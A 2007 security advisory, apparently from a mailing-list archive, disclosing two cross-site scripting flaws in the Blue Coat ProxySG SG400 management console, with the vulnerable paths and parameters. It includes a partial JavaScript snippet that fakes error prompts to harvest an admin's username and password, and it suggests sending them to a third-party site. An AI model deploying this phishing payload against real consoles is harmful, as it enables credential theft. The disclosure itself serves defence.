Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email firstname.lastname@example.org
Date: Thu Nov 01 2007 - 12:20:04 CDT
PR07-29: Two XSS on Blue Coat ProxySG Management Console
Vulnerability found: 23 July 2007
Vendor informed: 20 August 2007
Vulnerability fixed: 29 October 2007
Advisory publicly released: 1 November 2007
Blue Coat SG400 is vulnerable to a couple of XSS holes.
Vulnerable server-side script / unfiltered parameter: '/Secure/Local/console/install_upload_action/crl_format' / 'name'
Vulnerable server-side script / unfiltered parameter: '/Secure/Local/console/install_upload_from_file.htm' / 'file'
Successfully tested on:
Model: Blue Coat SG400
Software SGOS 188.8.131.52
Software Release ID: 25173
Proof of concept #1:
Proof of concept #2:
A neat payload to inject instead of a alert() box would be a phishing attack which would forward the username and password to a third-party site (the code could be inserted from a third-party site).
a=prompt("Blue Coat SG400: an error has occurred\nPlease enter your USERNAME","");
b=prompt("Blue Coat SG400: an error has occurred\nPlease enter your PASSWORD","");
}while(a==null || b==null || a=="" || b=="");
An attacker may be able to cause execution of malicious scripting code in the browser of a Blue Coat SG400 admin who clicks on a link to a Blue Coat ProxySG Management Console. Such code would run within the context of the target domain.
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: basic auth credentials stolen through a phishing attack as described in the Proof of Concept) to unauthorised third parties.
Credits: Adrian Pastor from ProCheckUp Ltd (www.procheckup.com)